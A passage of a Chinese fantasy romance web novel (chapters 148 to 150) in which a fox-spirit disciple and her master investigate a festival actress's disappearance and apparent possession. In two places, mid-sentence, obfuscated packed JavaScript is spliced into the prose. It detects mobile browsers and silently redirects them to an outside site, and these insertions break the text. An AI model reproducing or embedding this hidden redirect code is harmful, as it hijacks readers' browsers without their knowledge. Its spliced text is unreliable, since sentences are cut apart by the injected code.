她深吸一口气踮起脚,一把搂住华尧的脖子,眼中赤裸坦诚,没有丝毫的暧昧。她望着华尧近在迟尺的的面容,耳朵却在留意数十米外的动静。 华尧眼底深沉,随着她的靠近嗅到了一丝清淡的香气,心里随之一动。但很快她的眼神就像一盆凉水浇在他的心上。 他不满地抓住白瑶的手臂,蹙眉压着声音在她耳旁道:“你想利用我看他的反应?你好大的胆子。”声音不怒自威。 白瑶轻笑了一下,眼神忽而变得晦涩朦胧,少女的青涩和狐仙与生俱来的妩媚在她身上体现得淋漓尽致,少一分便刻意,多一分则做作。她并不勾引华尧,只是抬头贴近他的胸膛,神态随意又自然,好似她先前曾摆弄过这样的姿势。 华尧手上一顿,心里陡然升起一股怒气。 “好了吗?”华尧瞥开目光,声音更加阴沉,语气夹杂着一丝难以抑制的愤怒。 白瑶知道他若是真生气就不好玩儿了,适时地舔了下唇,然后抬手轻抚上华尧的脸。她能感觉到华尧身上突然的僵硬,和他眼神一瞬间的错乱。 她犹豫了一下,暗暗下了决心,将身体凑得更近。 林中清风微扬,树叶沙沙作响,两人之间的气氛却僵持着。 就在白瑶快要失去耐心放弃时,耳朵一动,树枝的脆裂声传来。 可能是僵持了太久,白瑶有一瞬间失神,等她回过神时,她已经放开了可怜的华尧上神,望向晏离所在的方向。 林中没有其他人的身影。 草地上,一支树叉断成了两节。 “这就是你要的?”华尧跟着白瑶目光的方向望去,脸上露出一言难尽的表情。 白瑶没有回答,只是眼中露出了明媚的笑意。 “你们......真的是师徒?” 白瑶目光熠熠地望着那个方向,眼中像有一团被点燃的火炬,唇角难以抑制地扬起,声音也轻快起来:“师徒是我们的起点,但不会是结局。” 华尧眼神晦涩不明,漠然道:“我拭目以待。” 148. 第 148 章 华尧离开得很突然。 身居高位的人,自由是一种奢侈。不论发生了什么,最终他们还是会回到原本的位置。 山外云境外,他站在树梢上良久,望着结界另一头,像是有所期盼,眼底却是无尽的、深沉的黑色。 天快亮时,他转身欲走。结界忽然一震,他转过头去,一袭白衣站在结界前面冷淡地抬眼看他。 没等来白瑶,倒是等来了个碍眼的家伙。 “你仙术不错。”华尧抱臂看着他,高束的长发在身后随风扬起。 清晨的第一束光沿着地平线缓缓蔓延。晨光映在少年的脸上,少年意气风发,骄傲又霸道的神情鲜活无比。 "我们还会再见的。”他顿了一下:“我不会手下留情。” 他并未说明,但他认为晏离应当听懂了,因为他清冷的目光划过一丝凝滞,虽然神色未变,但华尧却感到他隐隐有些不悦。 华尧带着深意看了晏离一眼,纵身一跃,消失在丛林之中。 白瑶在华尧不告而别之后郁闷了许久,不再想方设法靠近晏离,而是有些对他生疏起来。她每日在晏离跟前默不作声,有时望着他出神,目光凝重而复杂,也不知在想些什么。 她怕是对这种平淡的生活感到倦了,也可能是对他感到倦了。 不过都不重要。 晏离并未觉得不妥,自从白瑶拜师之后,他少有清净的日子。就这样在他眼皮底下不吵不闹,平淡安稳也很好。 她迟早会走的。 一晃数月过去,晏离收到了来自万丰镇的一封请柬。 万丰镇在青丘中东平原之上,是青丘境内最大的平原地区,也是人口最集中的、数量最多的地方。 晏离深居简出,素来不应邀约,但看到沉闷数月的白瑶,不知为何心中一动改变了主意。 万丰镇镇长丰梁在城门外迎接晏离与白瑶二人,他一副中年人的模样,五官硬挺,身姿高大,虽然双鬓泛白,但看上去很精神,说话不拘小节,与晏离毫不见外,仿佛他们是相处多年的老友。 “晏离老弟好久不见,我真没想到你会答应来,真是我万丰镇的荣幸。” 晏离神色淡然,丰梁也不恼,他早就知道晏离清高的品性,能来一趟已是不易。 “我们有多久没见?哈哈哈哈我都记不清了,上一次见面我还是个小伙子呢!你也才......"丰梁在身旁比划了一下,一抬眼看到了白瑶,笑眯眯地对晏离说:“那时候你就像她一般大,但做起事来一点不像个初出茅庐的孩子,有勇有谋,成熟淡定。当时我四处游历翻身越岭,吃了不少苦头。在小溟川附近,若不是遇到你,我可就不知道会被激流冲去哪儿了。” 白瑶听了觉得有趣,插话道:“您掉下过小溟川?” 小溟川是天界名景之一,水流湍急,地势险峻,可远观不可亵玩,饶是神魔被小溟川的水缠上都要费些功夫才能脱险。 丰梁笑着说:“是啊,我去赏景一不留神脚下一滑就跌进去了。我原本水性不错,但那小溟川的水冰冷刺骨,我跌下水的一瞬间就被冻得头脑一片空白,差点以为要完蛋了。” 丰梁看了面不改色的晏离一眼,虚指着他说:“还好你师父当时恰好在一旁的树上小憩,我还没反应过来就被他拎出了水面。” “晏离老弟看上去面冷,其实还是蛮好心的。”丰梁望着晏离,小声偷偷对白瑶说。 白瑶莞尔一笑,心里不做评价。 走到城门边,热闹的喧嚣声从城墙另一侧传来。 与白瑶先前到过的村镇不同,万丰镇面貌一新,街边的商铺、居所一个挨着一个,街上穿着各异的人来来往往。 丰梁只带了一个侍从,在镇上也不避讳,走过的镇民会对他点头微笑,看上去他与镇民关系不错。走着走着,一只凹陷的皮球滚到他脚边,米糠从缝隙处淅淅沥沥地渗出,撒了一地。 一个孩子跑上前将皮球查看,用手堵着皮球上的破洞,亮晶晶的眼睛带着期待问丰梁:“镇长,我的皮球被狗咬坏了,你能再给我一只新的吗?” 丰梁摸了摸他的小脑袋,对身后的侍从说:“回去后给他做个新的。” 孩子的母亲是一位身姿娇小的妇人,简单挽着发,穿着一身朴素但大方的衣裙。她拉过他,不好意思地笑了笑:“镇长,不麻烦您了,这孩子,都叫人宠坏了。”她又拉拉孩子的手,低头对他说:“怎么能这么跟镇长说话,我是怎么教你的?” 孩子耷拉着神情,怯怯地看着丰梁:“镇长对不起,我不要了。” 孩子妈急忙摆摆手:“镇长你可千万别麻烦了,我们镇子多亏了您才能风调雨顺五谷丰收,我们都可感激您咧。”又左右瞥了一眼丰梁身侧的陌生面孔:“您有客人是吧?您忙,不用管我们。” 孩子妈拉着孩子走了,孩子抱着憋下去的皮球,边走边回头,好奇的目光在晏离和白瑶身上流转。 丰梁招呼他们进了家宅,他的宅子算不上豪华宽阔,陈年梁木未经精雕细琢,上面还有几道随意的刮痕,散发着淡淡沉香。 房梁上的风铃叮叮当当一响,烈日下一条长长的辫子在走廊阴影处划出一道悠扬的弧线。 一位女子恍然闯入前厅,望着晏离、白瑶眼睛一亮,嘴角咧出一个大大弧度:“你就是晏大哥?我听爹爹提起过你。”她穿着绣花边的衣裤,样式与外头那些寻常人比略显繁复,头上带着一只银色的额饰,束着高高的马尾辫。年纪不小,稳重中带着些俏皮。 丰梁侧身对他们介绍道:“这是我女儿丰蓓,让你们见笑了。”又转过头去,佯装不高兴地对丰蓓说:“没礼貌。我称呼他为晏弟,你怎么能喊大哥?快,叫叔叔。” 仿佛孩子过节被领来给长辈打招呼。但丰蓓看上去与晏离相差无几,让她叫叔叔委实有些奇怪。 丰蓓有些不自然地看了晏离一眼,扯了扯嘴角:“还不是你一开始叫错了。” 让她叫叔叔,她是叫不出口的。丰蓓迟疑了一下:“我还是直接叫名字吧。” 宅邸前厅两侧摆着几只厚重的雕花木椅,丰蓓拉着白瑶上一边坐下,招呼侍从端上茶水和几样精巧的点心摆放在茶几上。丰梁坐在了主位,晏离则是坐在了另一侧。 丰梁对他们说:“这次邀请你们来,是镇上马上要举办月神节的庆典了。这可是镇上最大的庆典,每次都会举办的非常隆重,有许多人慕名而来,这些天镇上可热闹了。你们若是不着急可以多待几天,体验一下万丰镇的风土人情。” 白瑶听晏离提起过,青丘种族繁多,五花八门的节日她听过不少,大多都与妖魔鬼怪相关,但月神节她却从未听过。 她嘬了一口清茶,放下茶杯,问:“月神节有什么说法吗?” 在她放杯子的间隙,丰蓓又给她递了一块糕点:“这是刚从店里买来的月牙酥。你尝尝。”油纸包着的酥饼,酥皮泛着金黄色,恰似一轮弯弯的月牙,裹挟着一股淡淡的奶香扑鼻而来。 “月神节是来自万丰镇的一个民间传说,不是一般的节日,十年才举办一次。”丰蓓神神秘秘地笑了一下。 白瑶咬了一口月牙酥,甜香在口腔蔓延,她含混不清地问:“传说?” 丰蓓点点头:“你们一定没听过,这是镇上一个很古老的传说了,因为出处不详,所以流传得并不广泛。” “很多年以前有一位高门大户的女子名叫容疏。她天资聪慧,温文尔雅,少时赢得了许多男子的倾慕。她在学堂上学时遇见了一位颇有才情的平民男子名为长熠。长熠虽然出身低微,但不卑不亢,气质独特。两人在学堂中经常切磋诗词歌赋,一起吟诗作对、把酒言欢,渐渐产生了别样的感情。容疏家人察觉之后,将容疏软禁在了家中,不准她再去学堂,并且将找上门的长熠一番羞辱后赶了出去。” “两人只能在夜里隔着院墙互相倾诉,但很快容疏的家人给她定了一门门当户对的亲事。容疏剧烈地反抗,她从家中偷偷逃了出来,与长熠私奔过几次。但是家族势力强大,总能将他们捉回来。容疏反抗未果,在新婚前夜与长熠双双殉情。” 白瑶“啊?”了一声。 丰蓓接着说:“故事到这里还未完。未料容疏竟是天神转世,本应当在世上历经一世修成正果,却因为长熠的出现被迫提早回到了神坛。容疏受到惩罚一百年不能踏出月神殿,而长熠沦为地府的鬼怪,永世不得超生。 “容疏虽被禁足,但时刻惦记着昔日的恋人,于是在恢复自由之后经常偷偷闯入冥界与长熠私会。但好景不长,有人将他们的私情告诉了天后。天庭可容不得这样的丑事,于是天后下令,要月神与长熠恩断义绝,否则,就让长熠灰飞烟灭。” 似乎每一个相爱的神仙眷侣背后都会有一个作恶多端的天后,她代表着天庭的威严和陈腐的观念,以拆散小情侣为毕生追求,出没在每一个悲惨的神仙爱情故事中。 “容疏在奈何桥边忍痛与长熠惜别,被天兵天将带走。而长熠在她远去后突然用冥火烧了整座奈何桥,望着容疏的背影,消失在了奈何桥上。” 白瑶久久无法回神,心里泛起沉闷的苦涩,有些喘不过气。 她追问道:“那月神后来怎么样了?” 丰蓓耸耸肩:“不知道。这只是一个传说。” 白瑶唏嘘不已:“这么悲惨的故事,如何用来过节?” 丰梁慌忙摆摆手,对晏离和白瑶解释道:“我们通过节日庆典的方式,每次让一对男女扮演容疏和长熠,在镇上表演一回大团圆结局,满足大家的期望让他们能够在一起。这是好事啊。” 丰蓓点点头,话音一转:“传说只是节日的一部分,月神节经过很多年的演变,现在还会举办许多热闹的活动,一般从六个月前就陆陆续续展开了。” 白瑶的注意力被吸引过去:“都有什么活动?” 丰蓓掰起手指给她数:“月神节前三个月就开始举办月牙酥大赛,镇上大大小小的酒楼茶馆食品铺子几乎都会参加。大赛分为六轮,会选出一些见识广博的镇民从口感、外观、寓意等方面进行评分,经过一个月的激烈角逐,最终选出能够代表这一届月神节的月牙酥。你刚才吃的就来自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137812|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一届的冠军,学名叫年年。” 年年岁岁,朝夕相盼,终不过一轮孤月。 白瑶回忆起刚才口中淡雅的香甜,像是一束温柔的白月光,并非多特别,但是包含着长长久久的余韵。或许这就是镇民心中月神节的含义。 丰蓓接着说:“在月牙酥大赛之前更早,还会举办另一场一场选拔比赛,挑选出这一届扮演容疏和长熠的镇民。选拔分为三轮,一轮考验的是形表,二轮考验的是才艺,三轮考验的是对人物的理解和角色贴合度。被挑选上的人,不仅可以获得月神节活动的珍藏版服饰,另外还能获得一大笔酬劳。只要是未婚配的镇民都可以报名参加,报名时的场景别提多热闹了。” 丰蓓冲白瑶挤挤眼,笑道:“听说这一次杀猪铺的阿沙举着屠刀就过来了,大喝一声报名处在哪儿,吓得茶楼的老板娘跟她家小姑娘说要是这人选上长熠,那容疏不做也罢。结果两人第一轮都没过。 “还有邻居家的小妹妹陪哥哥来选长熠,结果哥哥初面没选上,倒是她试了试容疏,还进了第二轮! “镇上有位样貌不错的公子平日有许多女子追捧,他以为他去参加选拔一定没问题,没想到当日因为来观看他比赛的人太多,将台子挤塌了。他从台上摔了下去,半个月都下不了床,直接错过了第三轮比赛。 “每次选拔都会有各种各样的故事,镇上的人能记上好多年呢。” 丰蓓与丰梁对视一眼,两人眼中都露出了笑意。 “这次的月神已经选出来了吗?”白瑶问。 丰蓓点点头:“选完了。还有五天就是月神节,扮演容疏和长熠的镇民已经做好准备。他们需要在庆典前沐浴更衣、梳洗打扮,为了保证庆典能顺利进行,会有人专门服侍,所以借住在隔壁的院子里,晚点我可以带你们去看看。” 白瑶眼珠一转:“丰姐姐,你怎么没有参加?” 丰蓓不自然地笑了一下,眼角溢出一丝光,转而低声说:“我已经婚配了。只是还没将他接过来。” 白瑶一愣,丰蓓看上去没比她大多少。 丰蓓好像看出了什么,转头笑嘻嘻地问:“晏离,你定亲了吗?” 坐在另一头的晏离,端着杯子的手一顿,抬眸淡然道:“没有。” 丰梁知道晏离这个冷漠生疏的样子八成不会有对象,所以打圆场说:“我看晏离老弟是不缺爱慕者的,等他定亲了肯定会告诉我们。” 白瑶在心里默默地说:不,他不会。 丰蓓打趣说:“没有也不要紧。月神节期间,每位男女都能在镇上买到一种金莲花,若是对某人有意,就会将金莲花送给对方。晏离说不定能接到不少花呢。” 丰梁哈哈大笑:“你们这次一定多待几日,我要好好招待,让你们感受一下万丰镇的热情。” 一顿家常饭后,天色敞亮,挂在屋檐的风铃叮呤呤响起来,天井上慢慢悠悠漂浮过一朵白云。 丰蓓与白瑶在街上闲逛,晏离与丰梁跟在身后不远处。镇子靠近中心的地方有一块宽敞的空地,两侧是两面挂着形色各异花灯的灯笼墙,如同两盏巨大的屏风。月神节庆典的高潮,月神的演艺将会在这里发生。 几个孩子人手一只小月亮灯笼,风风火火从台子一侧追逐而过,留下一串嬉闹声。 “月神节庆典一共七天,从第二天晚上开始有夜游活动,到时候街上的灯笼都会点亮,长街犹如绚烂的星河,可漂亮了。”丰蓓带着白瑶走上石板桥,边走边向白瑶介绍,一路上说个不停,看得出来她非常热爱万丰镇,对这里的一草一木了如指掌。 午时,街上的人少了许多。石板桥下水流和缓,偶尔一只木舟悠扬而过,留下一行漫长的水迹。 从石板桥下来,丰蓓突然安静了下来,虽然有一搭没一搭地和白瑶说着,但是注意力却好似飘到了九霄云外。 白瑶察觉不对劲,问:“怎么了?” 丰蓓愣了一下,带着几分傻气说:“我那未过门的伍公子住在这附近。” 丰蓓眼中闪烁着饱满的情意,有些难为情地笑了笑说:“镇上有一个风俗,婚前一年两人不能接触,只能远远地看上几眼,我也好些天没有见到他了。” 丰蓓此时神色柔和,整个人似乎包裹着一层淡淡的光晕,白瑶的心被微微牵动,觉得自己似乎能体会丰蓓的感受又好像不能,于是调笑道:“你想他了?” 丰蓓摇摇头,说:“鬼才想他呢。”眼角的思念与笑意满满地溢了出来。 此时她散发着温柔的光,好像能够安抚人心,让人觉得很踏实。 又走几步,远远地望见丰家的侍从急急忙忙地穿过长街,追到丰蓓身旁,面带犹豫地看了一眼白瑶,又望向丰蓓,小脸急得皱在一起。 丰蓓没有顾忌白瑶在场,问道:“出了什么事?” 侍从凑在她耳边低声几句,丰蓓的神色忽然大变。 白瑶问道:“怎么了?” 丰蓓抬眼看了她一眼,倒吸了一口气,皱着眉迟疑了一下,小声说:“......她说扮演容疏的丰莹失踪了。” 149. 第 149 章 幽宅之中,一位装扮繁琐的小郎正坐在桌边掩面哭泣。 丰蓓跨进门槛,抬眼看向他,皱眉问道:“韶君,发生什么事了?” 小郎一见她,着急忙慌地站起来,身上叠了几层的裙裳从膝盖上滑落,身上挂着的坠饰发出一阵叮叮当当的响声。他顾不得整理衣裳,两只哭得又红又肿的眼睛在看到丰蓓时急促地眨了几下,脸上的妆容花得红一块白一块,看不出模样。 他带着浓浓的鼻音哽咽道:“蓓蓓姐,他们说……他们说……莹姐姐不见了。” 丰蓓上前拍了拍他的肩,眼中满是急切,问道:“就一会儿功夫,她能去哪里?你今天见过她吗?之前有没有发现什么异处?” 韶君眼泪忍不住啪的一下落下来,抽哒哒地说:“不,我今天就没见过她。早上用膳的时候,是她屋里的丫头端回去的。我以为是她昨天排练累着了,所以没多问。还有四日就要举行仪式了,怎么办呐!” 丰蓓看了一眼站在外头的白瑶和晏离,顿了一下,懊恼地说:“要是当初我多派些人手过来就好了,这些天一直准备得很顺利,丰莹怎么会突然不见?” 门外跑来几个侍从,脸色俱是不大好看,看了一眼站在屋外的晏离和白瑶,探头朝屋里说:“大小姐,镇上都找遍了,没见到丰莹。我们也不好问街坊有没有见着丰莹,怕叫他们听了多想。” 丰蓓和韶君从屋里走出来,她面露愠色,骂道:”这么个大活人还能在镇上消失了不成?镇上的人都知道丰莹是这一届的月神,多少人都等着看她的扮演,她若是跑出去怎么可能没人注意?” 丰梁在屋外蹙起眉头:“她屋里的侍从呢?” 几个侍从中的一位抬起头,眼神闪烁又慌忙垂下了头,攥着衣角说:“是我。但是,我真的不知道她去哪儿了。” 丰梁上下打量她一眼,沉声问道:“怎么回事?” 侍从垂着头不敢看他:“我早上去服侍莹小姐起身,她的脸色不是很好,整个人无精打采,说还想睡一会儿。于是我就退了出去,过了一个时辰去厨房端了些早点去房里,再去叫她时,就发现她不在屋里。我以为她已经起身了,于是在院子里找了一会儿,但都没有找到。又跑来君少爷屋里问,君少爷立刻让全院子的侍从去找,都没有找到,然后赶紧让人通知了大小姐。” 丰梁看了一眼哭的梨花带雨的韶君,又看看侍从:“你早上见到她,她都说了些什么?” 侍从仔细想了一会儿:“我只记得她声音沙哑,说自己头疼得厉害要多睡一会儿。我跟她说,今日还有一些流程要练习,她就摆摆手没让我说下去。我也不好多问,所以就退下了。” 丰蓓追问道:“昨天呢?昨天她都做了什么?” 韶君眉头紧蹙,眼角泛着泪光,呜咽着说:“昨天我们和前些日子一样在排练月神的故事,休息时莹姐姐说这几日排练太辛苦了,她晚上睡得不是很好,整个人晕晕沉沉的。还说等月神节过了,她要好好休息一阵子。都怪我,要是我多问几句就好了。她......她会不会是逃走了?不,不会的,莹姐姐不是这样的人。这可怎么办呐?” 月神节庆典流程繁重,扮演者集万众期待,压力大也是在所难免。一般住的、吃的、用的都是极好的,像镇上普通人家的孩子,一生最风光的时候莫过于此,所以怎么也会咬牙坚持下来。 丰梁看了晏离一眼,有些难为情地眨了眨眼睛:“晏离老弟啊,真是对不住,你一来就让你瞧见了这样荒唐的事。这要是找不到人,月神节可就要出大乱子了,镇上的百姓等了许多年都期待万分,可不能让他们扫了兴子。”说着,他又悄悄瞟了晏离几眼,那眼神仿佛在期待他能说些什么。 晏离知道丰梁的意思,继而将目光转向那名侍从,让侍从不由心里一颤,不敢与他对视。 “她房里可有异处?” 侍从赶紧回答:“刚才君少爷带人去莹小姐房里看过了。” 韶君哭声一顿,对丰蓓说:“她房间上上下下里里外外都搜了一圈,没有奇怪的地方。” 众人在丰莹的房间转了一圈,确实如韶君所说,并没有不对劲的地方。衣服全部整整齐齐地叠好放在衣柜中,首饰铺放在妆台上,一支也未少。床上的枕头被褥随意地摊在一侧,白瑶小心翼翼地翻找,枕头、被褥下空空如也。 真是奇怪,居然没有任何奇怪之处。 如果她要逃走,不可能什么也不拿。 “她家里去问过没有?” 侍从点点头:“我们悄悄去找过二爷,他知道后大为震惊,说莹小姐没有回去过,会派人在镇上多找找,让我们有消息也要通报过去。” 丰梁知道自己弟弟的品性,若是丰莹擅自逃了出去,他弟弟第一个就会收拾她。丰莹若是要逃走,也断不可能大摇大摆地回家里。 丰蓓安慰道:“丰莹也不是不讲道理的人,如果她是自己跑出去,也许一会儿就回来了。但若是别人带走的......" 丰梁头疼起来:“我就是怕这个,谁会这么做?她近日都见过谁?” 侍从摇摇头:“只见过负责庆典的人和院子里的人。” 丰梁侧头问晏离:“晏离老弟,你怎么看?” 白衣沉静如雪,目光锐利地房门外:“她或许已经不在镇上。” 丰蓓大惊:“你说什么?” 丰梁不解道:“可是镇门有人看守,她从镇门出去,侍卫不会不知道。就算她乔装打扮,侍卫认不出是她,也总该记得有过这样一个不寻常的人。” 丰梁回忆道"我适才问过侍卫,今天镇里没有人外出。” 他话音刚落,就有一个声音道:“有啊。”白瑶扭头看向丰梁:“你不就出去过。” 丰梁一怔:“我出镇是去接你们。” 白瑶回忆起丰梁来接他们时的样子,他只带了一名侍从,在他们寒暄之时那名侍从就牵着马绳站在不远处。 马? 不对,不是马,是马车! 那名侍从站在林中光影斑驳的地方,高大的马匹正低着头吃草,马匹之后是一座装扮简朴但空间很大的木质马车。 白瑶眼中划过一抹精光,问道:“当时那辆马车现在在哪里?” 丰梁乘马车出了万丰镇,在镇外等候,在见到晏离和白瑶之后,为了让他们领略镇上的风光,所以一路步行回到宅子,并未继续乘坐马车。 丰梁恍然大悟:“你是说,丰莹当时躲在马车里面随我出了镇?马车停在门口,快去看看。” 人去车空,现在看也没什么意义。马车后头有一个装东西的大箱子,里面原本放着备用的坐垫、缰绳和衣物,现在里面什么也没有,只有几根女子的长发。 “这么说,丰莹是自己跑出去的。”丰梁和丰蓓脸上都不好看。 日落西山,天色渐渐沉了下来,归鸟从天空掠过,落下几声悠扬的啼鸣。 “镇外是荒山,她一个人过夜不安全。我们现在就出去找她。”丰蓓叫上几个侍卫,对丰梁说:“爹爹,你就留下陪客人。”又对白瑶和晏离说:“对不住。这次情况特殊,我要赶紧将阿莹找回来。” ———— 天色深沉得如一团浓墨,约莫快要到天亮的时候,院子里响起细碎的吵闹声。 白瑶被扰醒,摸索着出门,遥遥望见前院的灯笼全部被点亮。院子里混杂着几种声音,裹挟在呼呼风中听不真切,几缕人影映在白墙上,光影随风晃动犹如翩然起舞。 白瑶又走近了几步,突然被人摁住肩膀。她心里一惊,飞快地跳开几米。 定睛一看竟是晏离。 晏离望了一眼前院的灯火,低声对白瑶说:“丰梁不是坏人。” 两人穿过一道拱门来到前院,就见丰梁、丰蓓和几个面生的人围着一名女子。一瞥之下,那名女子样貌身段应当不错,但此时脸上、身上挂了彩,披头散发地坐在地上,一双眼睛透过披散的头发惊恐地望着四周的人。 丰梁对面的成年男子气呼呼地骂道:“你跑什么?你跑什么!这是光宗耀祖的事!” 看来这位女子就是丰莹。 “还有四天就结束。为什么不能坚持?真是......气死我了。”男子气的呼哧呼哧喘着粗气。 丰梁看到晏离与白瑶走来,不好意思地笑笑:“对不住,打扰你们了。”又转头对丰莹爹说:“这是我的客人。”丰莹爹一心都在女儿身上,对他们点了下头,根本无暇顾及。 丰梁拍了拍他的肩:“别生气了,我们都是看着阿莹长大的,她是什么品性 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137813|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们都清楚,她一定不会无缘无故跑出去的。现在她这个样子,肯定无法扮演月神了。让她回去休息吧,等她休息好了,再问问缘由。” 不知是否是丰梁的话刺激了她,丰莹坐在地上呜咽一声,飘忽不定的眼神透过掩着脸的碎发望向四周,看到天上高挂的月亮,忽然瞳孔一缩,像是被针扎了一下浑身颤抖,身体向内缩去。 她余光看到一抹白色,惊叫一声,爬到丰蓓的身后躲起来,边发抖边小声喃喃:“我不走,我不要回去,我不走,别碰我。放我回去,我要回去,快放手。” 说的前后颠倒,让人不明所以。 丰莹爹怎么也想不通自己女儿参加庆典为什么会变成这样,又心疼又气恼。 男人眼巴巴地问:“临时从哪儿找人代替她?她......她要是明天就好了呢?还能赶上吗?” 丰梁没办法打包票,无奈地摇了摇头:“她这个样子就算明天恢复了神志,也需要静养休息一段时日。” 另一侧,一抹瘦弱的身影跌跌撞撞地走过来。 “莹姐姐?” 韶君远远看着坐在地上的女子,起初不敢相认,见她四周的众人没有接话,眼中一阵恍惚又仔细辨认了一下丰莹的样子,越看眼眶越红,眼泪如断了的珠帘一颗一颗滚落:“她怎么了?她怎么变成这个样子了?” 一直坐在卧在地上的丰莹,突然跳起来,扑向韶君,差点将他撞倒在地。 她掐着韶君的脖子,状似疯狂地说:“你不是长熠,长熠已经死了,你是谁?你为什么要假扮他?”韶君的脸立马变得通红。 在场的人大惊,纷纷上去将丰莹与韶君拉开。 “咳咳......莹姐姐......咳咳......你......咳咳......"韶君连流满面,前襟都湿透了。 丰莹爹急的束手无策:“阿莹你到底怎么了。那是小君啊!” 丰蓓若有所思,目光在丰莹和韶君之间来回打量,忽然灵光一闪:“她是不是入戏太深了?” 众人恍然地望着丰莹,似乎有点明白了她的状态,可从来没有人入戏成这副模样。 “不。”晏离突然出声。 他上前一步,伸手在丰莹额前探了探,转身冷沉道:“她是魔怔了。” “什么?”丰莹爹护在女儿身前,有些顾忌地看着晏离:“你瞎说什么?” 丰梁拉住丰莹爹,解释道:“晏离老弟是我之前说过的那位救命恩人,不妨让他说说看。” 晏离冷沉地看着丰莹道:“她说晚上睡得不好,应当是夜里被灵体入侵,让她神志错乱。” “灵体?”丰梁与丰莹爹面面相觑,神色都有些茫然。虽然在青丘有听说过有仙力高强者能感知到世间的灵体,但是他们从未见过。 丰蓓问:“这......灵体是从哪儿来的?” “她白天去了哪里?”晏离问。 丰蓓眼睛一亮:“是镇外那片林子。我们找到她的时候,她躲在一个小山坡的阴面,靠着一颗参天大树。” “这么说,让她变成这样的灵体很有可能就躲在那片山林中。”白瑶垂眸沉思,又带着思忖仔细将丰莹看了看:“一般灵体不会随意干扰别人的生活,为什么会在这个时候出现?为什么会选择她?” 丰莹爹着急地望着晏离:“那阿莹她怎样才能清醒过来?” “不好说。”晏离如实回答。 丰莹爹一口气没提上来,差点两眼一翻厥过去。 丰梁叹了口气,恳求道:“二位,月神节是万丰最重要的节庆,百姓都期待好些年了,我实在不忍让他们失望。请你们再想想办法。” 不知灵体为何这么做,也就不知道这样的影响会持续多长时间。若是有办法与那灵体会上一会,或许就能知道原因了。 白瑶思考得极是认真,眸光里透着执着和聪慧,蓦地感觉身旁有一道目光似乎落在了她的身上。当她看过去的时候,唯有晏离站在夜色中,目光恰好与她错开,好像一切都是错觉。 白瑶心里一动,说不上来是什么滋味,好像心里有一朵消沉了很久的花骨朵怦然开放,又稍纵即逝,凭空让她多了几分紧张。她装作什么也不知道,转头对丰梁说:“我有一计,或许能引出灵体。” 150. 第 150 章 隔天夜里。 “这样真的可以吗?白姑娘不会出事吧?” 原本丰莹住的屋子里没有点灯,黑暗中涌动着几个人影。 一人靠在墙边,安静地听着隔壁的动静,没有回答。 他没有发声,其余人也不敢贸然回答,只是安安静静地等待着。 白瑶与丰莹的身型相似,刚好能够穿上这次为月神定制的华服。今日她随侍从走了一遍庆典的流程,与韶君对了台本。不知是否是昨晚的事情吓到了韶君,他的神情有些恍惚,对着白瑶怎么也无法入戏。 白瑶齐整地穿着华服躺在床上,轻轻合着眼佯装睡着的样子,神志保持警觉留意着周遭的声响。 灵体为何干扰丰莹? 它晚上还会出现吗? 窗外的树叶随风而动,发出轻微的沙沙声,借着清冷月色映在墙上的影子变幻莫测。 白瑶平卧在床上聚精会神地等着,不知过了多久,什么也没等来。她不敢动,身上包裹的衣服成为了一种累赘,压得她有些透不过气。 要是灵体今晚没有出现怎么办?难道明天还要她再等一夜? 正当她胡乱思索着,不知为何身上一轻,仿佛被人温柔地抱了起来。 她好像离开了原来的位置,向不知哪个方向移动。她分辨不出,想要睁开眼睛,眼皮却沉得怎么也抬不起来。她慌乱挣扎起来,然后猛地跌入了水中。 温热的水波忽而漫了上来,白瑶费了九牛二虎之力睁开眼睛,发现自己陷入了一口奇异的金色潭水中。金色的光辉包裹着她,奇怪的是,她并不觉得害怕,反而觉得自己是被保护的。 这里是哪里? 正当她纠结的时候,她脚底的潭水突然泛起涟漪,圈圈涟漪越来越大,汇聚成了一股漩涡。金色开始向那股漩涡褪去,渐渐地,她的四周暗了下来。 漩涡吞没了所有的光辉后,逐渐平息,水面像光滑的绸缎,忽而金光一闪,出现了几个画面。 学堂中,两个少年模样的人正为一篇文章争论不休,周围的学生聚在一起起哄,两人都拿出了浑身本领誓要争个高下。正在僵持着,那名女子忽然莞尔一笑,眼中流光四溢,叫对面那位少年面露迟疑。 “长熠,你虽然不在学堂上学,但懂的却不比我们少。你是从哪儿学来的?”女子轻声笑着,看向对面少年的目光中流露出不加掩饰的欣赏。 “是我爹教的。”长熠虽然从未踏入学堂,但是毫不畏惧与学生谈诗论道,举手投足大方得体,看的出来被教育的很好。 女子思索了一会儿,笑道:“你天资聪颖,不上学委实可惜,我会请求和夫子让你一起来上学的。” 长熠眼睛一亮,看她的眸子又多了几分复杂的神色:“真的可以吗?” 女子白净的脸颊上泛着莹莹微光,好似天上皎洁的月亮。她点点头:“当然可以。” 潭水一晃,画面转到了几年后。 两人在月下对饮,少年气渐渐褪去,两人的眉眼神态显得成熟了不少。长熠举杯沉吟几句,一饮而尽,渴望得到对方的回应,却陷入了良久的沉默。 “容疏,我听说你要回去继承家业了。”长熠抬头,清醒的眼神中带着脆弱的感情,小心翼翼地问。 容疏放下手中的杯子,垂眸道:“家里催了我数次,叫我赶紧回去。我本想告诉你,但话到嘴边又说不出口。” 